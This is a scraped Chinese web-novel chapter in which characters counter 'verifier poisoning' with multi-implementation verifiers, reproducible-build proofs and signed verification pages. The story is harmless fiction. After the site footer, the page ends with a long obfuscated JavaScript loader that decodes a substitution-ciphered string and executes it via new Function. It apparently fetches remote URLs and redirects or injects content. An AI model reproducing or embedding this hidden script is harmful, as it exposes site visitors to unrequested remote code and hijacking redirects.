第196章 校验投毒
第196章校验投毒(第1/2页)
DAY-RPT-27640。
抽签抗投喂协议生效后,见证池偏斜指数回落,候选资格闸门与冷却期让短期灌入难以生效;多方承诺-揭示的随机源让“随机性不可信”从信仰争论退回可校验事实;三层随机性证明卡让复杂不再成为门槛;投喂检测隔离缓冲池,不点名、不封禁,叙事难以抓住受害者戏剧;见证护盾压住“见证人靶子化”的复发风险。
一切运行得比预期更稳。
直到机要监把一条曲线拉到穹顶会议的中央屏幕上——那不是偏斜指数,也不是投喂节奏,而是一条几乎垂直抬升的柱状图:**校验失败举报量**。
存在性编号:ANL-VERIFY-01
标题:**校验失败激增:外部“验证工具”报告与内部证明链冲突**
沈绫先是一怔,随即直觉性发紧:“随机性证明不是能一键校验吗?怎么会失败激增?”
机要监的声音很平:“内部校验全部通过,外部‘一键校验截图’显示大面积失败。我们怀疑不是证明链坏了,而是校验器被投毒。”
江砚抬眼,眼神像压住光的石头:“校验器?”
机要监点头:“他们不碰我们的随机,他们碰别人用来验证我们的工具。”
这一句话落下,屋子里短暂地静了。
守望纪元一路把权力从人名搬回结构,靠的就是可验证:
你不必相信我,你可以验。
可当“验”本身被夺走,整座证明大厦会被抽空地基。
敌人终于把战场推进到证明体系的最底层:
不是证明链、不是宪章、不是抽签。
而是**校验工具**。
他们要夺走的不是随机性,是“你以为你在验证”的那条路。
---
###一、校验投毒的恐怖:证明还在,但你看到的验证结果是假的
机要监把外部传播的“校验失败截图”分门别类贴出来。几乎全部长一个样:
*红色叉号:`VerificationFailed`
*小字:`commithashmi**atch`或`revealnotfound`
*下面一行:`Possiblytamperedproof.Reporttooversightcommittee.`
*右下角:一个像极了官方校验入口的标识
这些截图很有杀伤力,因为它们满足了人类对“确凿”的想象:
你不懂哈希也没关系,红叉你懂。
你不懂承诺-揭示也没关系,“被篡改”你懂。
你不懂过程证明也没关系,“举报委员会”你懂。
更致命的是:
截图不是一句话,而是一个“你看”的证据。
视觉证据会压过任何解释。
可系统内审计链显示:
相同编号的随机性证明在内部校验全部通过,三方揭示哈希一致,候选池快照一致,抽签结果一致。
存在性编号:ANL-VERIFY-01A
内容:内部校验通过率100%;外部失败截图覆盖27%证明卡,且集中于同一批次窗口。
这说明一个事实:
不是证明链被篡改,而是**外部校验器在造失败**。
沈绫低声:“他们在制造‘你验不出来,所以只能信权威’。”
江砚点头:“当验证被污染,权威就会出现。权威出现,开关就复活。”
---
###二、谁在传播这些校验器:验伪所
外界很快出现一个新名字,带着“理性”与“公共安全”的光环:
**验伪所**。
他们不攻击联盟,不攻击宪章,也不攻击抽签协议。
他们只做一件事:推广“更可靠”的一键校验工具。
口号简洁得像广告:
>“官方校验器太复杂、太慢、太不透明。
>用验伪所校验器,三秒看红绿。
>我们是第三方,更客观。”
第三方这三个字,是他们的盾牌。
他们甚至公开源代码链接——但链接指向的是一个“镜像仓库”,不是主仓;发布的是编译包,不是可复现构建;下载入口分散在多个外扩镜像站点。
对普通用户而言,这些细节没有意义。
他们只看见一句话:第三方更客观。
机要监做了追踪:
存在性编号:ANL-VERIFY-02
ANL-VERIFY-02A:失败截图设备信息聚类与验伪所插件匹配度高
ANL-VERIFY-02B:下载入口集中在同一镜像站点群
ANL-VERIFY-02C:插件版本号与公开源码提交不一致(疑似“公开源码,私下发布”)
结论很清楚:验伪所推广的校验器存在“构建不一致”。
公开源码只是烟雾,真正运行在用户电脑上的可能是另一份东西。
他们不是在验证证明。
他们在验证人们的信任。
---
###三、校验投毒的真正路径:不是让你相信他们,而是让你不相信任何人
验伪所不需要最终成为权威。
他们只要让所有校验器互相打架:你这边显示绿,他那边显示红。
当世界进入“谁都说自己对”,人会本能地想要一个终极裁判——委员会、专家、终审席。
这正是清证会没拿到的东西:终审权威。
他们换了路:先污染验证,再请你自己迎接权威。
江砚对首衡说:“他们要制造一种人类最受不了的状态——真伪不明。”
首衡问:“那我们就发布官方校验器,让大家只用官方?”
江砚摇头:“那会变成权威依赖。我们要的是:任何人都能验证,但校验器本身也必须可验证。”
守望纪元的回答不能是“信我”。
只能是:“你可以验证验证器。”
---
###四、校验器为何是入口:因为它决定你看到的世界
当证明链变复杂,人们越来越依赖工具。
工具的界面就是世界的界面。
你以为你在看真相,其实你在看工具的呈现。
敌人抢不到证明链,就抢工具。
抢工具,就抢呈现。
抢呈现,就抢判断。
抢判断,就抢权力。
这和“先例投毒”高度同构:
当你依赖检索引擎,敌人就投毒排序;
当你依赖校验器,敌人就投毒结果。
区别在于:
排序投毒还能靠反例前置纠偏;
校验投毒会直接击穿“你能验”的根。
所以,这一关必须更硬。
---
###五、江砚的核心判断:校验必须“多实现”,且实现必须“可复现构建”
只靠发布一个官方校验器无法解决问题。
那会让“官方”变成权威中心。
敌人正希望你这么做,因为他们可以改叙事:
“你看,只有官方能验,黑箱!”
正确答案是:
让验证的可信来自**多实现一致**,而不是来自“谁说”。
也就是:
*至少三套独立实现的校验器(不同团队、不同语言、不同构建链)
*同一证明卡在三套实现中结果一致
*任意一套出现红叉,其它两套仍能给出可查差异原因
*校验器的发布必须可复现构建:任何人能从公开源码构建出与发布包一致的二进制哈希
这会把投毒成本抬到难以承受:
你要投毒,就得同时投毒三套独立实现,还要让它们在可复现构建的审计下保持一致——几乎不可能规模化。
江砚将这套思路命名为:**校验共识**。
---
###六、校验共识协议:验证器也要有证明链
存在性编号:VERIFY-CONS-01
名称:**校验共识协议**
VERIFY-CONS-01A:三实现校验器
*V1:联盟主实现(参考实现)
*V2:独立实现(由随机抽签的外部开发团维护)
*V3:对照实现(由另一条独立供应链维护)
三套实现必须不同语言/不同构建工具链,避免同源缺陷。
VERIFY-CONS-01B:可复现构建
*每套实现发布二进制包必须可从公开源码在固定构建环境复现
*复现成功输出“构建证明卡”:源码提交哈希、构建环境哈希、产物哈希
*构建证明卡可外部一键校验
VERIFY-CONS-01C:校验一致性回执
*任意证明卡的校验结果必须给出“三实现一致”标识
*若不一致,输出差异报告:差异在哪个字段(commit/reveal/候选池快照/结果哈希)
*差异报告不作最终裁定,只触发“校验器调查链”
VERIFY-CONS-01D:校验器发布抽检见证
*延续LOT-GUARD的随机见证,但见证对象是“构建证明卡生成过程”
*见证人不接触源码内容,只验证过程与哈希链一致性
VERIFY-CONS-01E:校验器镜像治理
*官方入口只发布“证明卡+校验器构建证明卡”,不直接引导下载单一二进制
*任何第三方校验器若不提供可复现构建证明,结果默认降权为“未经证明的校验输出”
这套协议的关键,是把“校验器”也纳入“零显影透明”:
你不必相信哪一个校验器,你只要看它有没有构建证明卡;
你不必信某个人写的工具,你只要看三实现是否一致;
你不必在信仰战里站队,你只要一键校验哈希链。
敌人想让世界进入“谁都说自己对”。
校验共识让世界回到“谁都能验”。
---
###七、校验器调查链:当结果冲突,不求权威裁定,只求差异可归因
验伪所的红叉截图最危险的一点是:它引导你“举报委员会”。
举报委员会意味着终审权威。
守望纪元必须拒绝这条路。
结果冲突不是委员会的理由,而是调查链的触发。
存在性编号:VERIFY-INVEST-01
名称:**校验器调查链**
VERIFY-INVEST-01A:触发条件
*三实现校验结果不一致
*或外部校验输出红叉但无法提供构建证明卡
*或同一构建证明卡被校验失败(伪造)
VERIFY-INVEST-01B:归因四步
*G1:证明卡字段差异对照(commit/reveal/池快照/结果)
*G2:校验器构建证明卡校验(产物哈希是否匹配)
*G3:运行环境差异(本地系统时钟/代理/缓存是否污染,但不以此为最终解释)
*G4:供应链路径回溯(下载入口、镜像站、签名链)
VERIFY-INVEST-01C:输出
*若是校验器投毒:生成L2反例卡(不可做结论:某类未证明校验器不可作为证据)
(本章未完,请点击下一页继续阅读)第196章校验投毒(第2/2页)
*若是镜像污染:生成“镜像风险提示卡”(L3模式)
*若是证明卡真异常:触发LOT-GUARD级别的更高审计(极少数)
这条调查链的核心精神是:
冲突不需要权威裁判,需要差异归因。
归因一旦可查,叙事就很难把冲突当成信仰战争。
---
###八、第一轮实战:验伪所红叉被三实现校验打回“未经证明输出”
校验共识协议上线后,联盟没有去封杀验伪所,也没有与其吵架。
他们只做两件事:
1)公开三实现校验器的构建证明卡
2)把“未经证明的校验输出”标注规则写进解释回执
很快,外界出现同样的红叉截图。
但这次,截图下方自动出现一张说明卡(与MISREAD机制联动):
*该红叉来自未提供构建证明卡的第三方校验器
*三实现校验已一致通过(给出三实现一致标识)
*如需反证,请提供第三方校验器构建证明卡哈希以便调查链归因
红叉传播热度明显下降。
因为红叉不再能充当“定罪证据”。
它被迫成为“需要证明的主张”。
机要监记录:
存在性编号:ANL-VERIFY-03
ANL-VERIFY-03A:外部红叉传播峰值下降
ANL-VERIFY-03B:三实现一致标识点击率上升
ANL-VERIFY-03C:固定委员会支持度未上升
敌人最讨厌的场景就是:
你说我错?请你提供证明你怎么验的。
当你必须证明你的校验器,你的红叉就不再廉价。
---
###九、敌人的升级:他们开始伪造“构建证明卡”
当“未提供构建证明”这条路堵住后,敌人会升级:
伪造构建证明卡,让自己看起来合规。
果然,一周后出现了新的截图:
红叉下方附带一张“构建证明卡”,列出源码哈希、环境哈希、产物哈希。
看起来很专业。
但伪证校验入口一键校验后,结果显示:
该构建证明卡的哈希链无法匹配任何公开源码仓库提交;
产物哈希也无法在可复现构建环境中复现。
伪造当场被标注为“伪证片段”,进入误读样本库,并被去权重加倍。
存在性编号:MISREAD-VERIFY-01
MISREAD-VERIFY-01A:伪造构建证明卡校验失败
MISREAD-VERIFY-01B:伪证标注卡自动生成
MISREAD-VERIFY-01C:伪证模板入库,未来更快识别
敌人想把“证明”也投毒。
守望纪元的应对是:证明必须可校验,且校验入口必须一键化。
复杂不是护城河,护城河是“谁都能验”。
---
###十、校验疲劳:他们的新武器不是假红叉,而是“红叉洪潮”
当伪造被快速识别,敌人会换成更低成本的攻击:
不追求让你相信红叉为真,只追求让你被红叉淹没。
他们开始在每个证明卡下面刷屏式留言:
“我这边验是红叉”“我朋友也是红叉”“你们快解释”。
并附上各种不同版本的截图。
这些截图大多数来自同一批未证明校验器,甚至同一设备指纹。
但普通人看到的是:红叉好多。
红叉好多会引发一种心理:
“就算是假,也太乱了。我不想再看这些哈希了。”
这就是校验疲劳。
当人厌倦验证,人就会回到信仰:
“算了,听专家的。”
专家就是权威。
权威就是开关。
敌人意识到:
他们不必赢得“真假”,只要赢得“耐心”。
江砚看到红叉洪潮,并没有提高解释密度。
解释越多,越疲劳。
疲劳越大,越容易让人放弃。
他反而做了一个“减噪”的动作:
把红叉洪潮的处理引入去潮与聚合。
---
###十一、校验去潮与聚合:把红叉变成可统计而非可恐慌
存在性编号:VERIFY-DECAY-01
名称:**校验去潮与聚合机制**
VERIFY-DECAY-01A:红叉报告进入去潮池批次处理(不即时占用公共注意力)
VERIFY-DECAY-01B:按校验器指纹聚类合并
*同一校验器版本/同一设备指纹/同一镜像站来源的红叉归为一包
VERIFY-DECAY-01C:每批次只发布“红叉来源分布摘要”
*多少来自三实现一致通过
*多少来自未证明校验器
*多少来自伪证构建证明
*多少来自疑似投喂脚本
VERIFY-DECAY-01D:对“未证明校验器”红叉默认不触发额外解释,只提示“需构建证明卡”
VERIFY-DECAY-01E:对“伪证”红叉直接标注并去权重
VERIFY-DECAY-01F:对“真正不一致”才触发调查链并公开差异归因回执
这样,红叉洪潮无法制造恐慌:
你看到的是统计与归因,而不是无穷无尽的截图。
截图被消解为数据,数据被消解为来源分布。
敌人靠情绪占领注意力。
去潮与聚合让他们的情绪税收不到。
---
###十二、一次真正的不一致:三实现出现差异,但调查链阻止了终审呼声
校验共识上线后,并非永远完美。
某次更新中,V2独立实现对“候选池快照格式”的解析与V1/V3存在细微差异,导致V2判定失败。
这在敌人眼里是千载难逢的机会:
他们立刻说:“你看,三实现都不一致,还谈验证?”
如果这时联盟急于解释,就会被拖入权威叙事:
“官方解释是……请大家相信。”
江砚没有这么做。
他启动VERIFY-INVEST调查链:
*G1:差异锁定在“快照格式字段”
*G2:构建证明卡校验通过,说明V2未被投毒
*G3:运行环境一致
*G4:供应链无异常
结论:不是攻击,是实现差异。
处理方式:在试验场对V2解析规则做修正,修正版本可复现构建并发布构建证明卡。
并生成L2反例卡:**不可做结论:校验器解析规则变更必须同步三实现,否则会制造伪不一致,引发信任波动。**
全程没有终审委员会。
只有差异归因与修正。
外界看到的是:
不一致发生了,但它被机制吸收,而不是被权威拍板。
这反而增强信任:因为系统敢承认并修复,而不是用权威压下去。
---
###十三、敌人的再升级:他们盯上“一键校验入口”,试图做钓鱼替换
当校验器投毒、伪证、红叉洪潮都被压住后,敌人可能换成更传统的方式:
钓鱼替换“一键校验入口”。
他们伪造一个与官方几乎一致的校验页面,嵌入验伪所插件下载链接。
用户以为自己在官方入口验证,实际上在下载投毒校验器。
机要监迅速捕捉到镜像站点群的DNS与证书异常:
存在性编号:ANL-VERIFY-04
ANL-VERIFY-04A:钓鱼页面与官方页面DOM相似度高
ANL-VERIFY-04B:下载链接指向验伪所镜像站
ANL-VERIFY-04C:传播路径与历史“镜像站投喂”重合
江砚的应对不是“封站”。
封站会引发政治冲突,并且永远封不完。
他采用“入口签章”:官方校验入口的所有关键元素都带有可校验的页面签名,浏览器插件与离线校验器都能验证页面签名是否属于官方。
存在性编号:VERIFY-PAGE-01
VERIFY-PAGE-01A:校验入口页面签名
VERIFY-PAGE-01B:页面签名校验失败自动提示“可能为仿冒页面”
VERIFY-PAGE-01C:仿冒页面模板入库,未来更快识别
VERIFY-PAGE-01D:页面签名不暴露用户信息,不产生显影碎屑
这让钓鱼替换的收益大幅下降:
你可以仿,但你过不了签章校验。
过不了就会被提示,提示会降低转化。
敌人想用低成本替换入口。
入口签章让替换成本抬高。
---
###十四、校验可信的最后一环:让“校验工具链”也能被轻量参与者理解
如果校验体系变得太技术化,敌人仍能用“看不懂=黑箱”攻击。
守望纪元必须保持一条原则:复杂存在,但普通人不必承担复杂。
因此江砚把校验体系做成“二句话”模型:
*你只需知道:**三实现一致=通过**
*你只需知道:**若不一致=差异归因回执可查**
其余复杂内容留给技术层与抽检团。
存在性编号:VERIFY-UX-02
VERIFY-UX-02A:普通层两句模型
VERIFY-UX-02B:技术层完整哈希链
VERIFY-UX-02C:见证层抽检签名摘要
这样,信任不会因为技术门槛而变成权威依赖。
信任来自可验证,而不是来自你必须成为专家。
---
###十五、尾声:他们夺走不了随机,只能试图夺走你“验证随机”的工具
DAY-RPT-28000。
校验投毒被识别并处置:
校验共识协议建立三实现校验器与可复现构建,校验器本身拥有构建证明卡;
校验器调查链用差异归因替代委员会裁定;
伪证校验机制让仿构建证明卡失效;
校验去潮与聚合把红叉洪潮从恐慌变成统计来源分布;
页面签章阻断钓鱼替换入口;
三层展示与两句模型让复杂不成为门槛。
验伪所试图用红叉、伪证、洪潮与钓鱼让“验证”失去可信,从而逼出权威终审。
规则没有成立委员会,也没有回到“请相信”。
规则把验证工具也纳入可验证结构,让“你可以验”这句话重新落地。
在守望纪元里,证明链很强,但证明链不是最后的防线。
最后的防线是:**任何人都能验证,不依赖任何人的权威。**
当校验器也能被验证,
当验证不再被投毒,
开关就无法借“真伪不明”复活成终审。
星河仍在演化,敌人仍会迁移入口。
但只要验证本身仍可被验证,守望纪元就不会被拖回那个只能信人名、不能信结构的旧世界。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();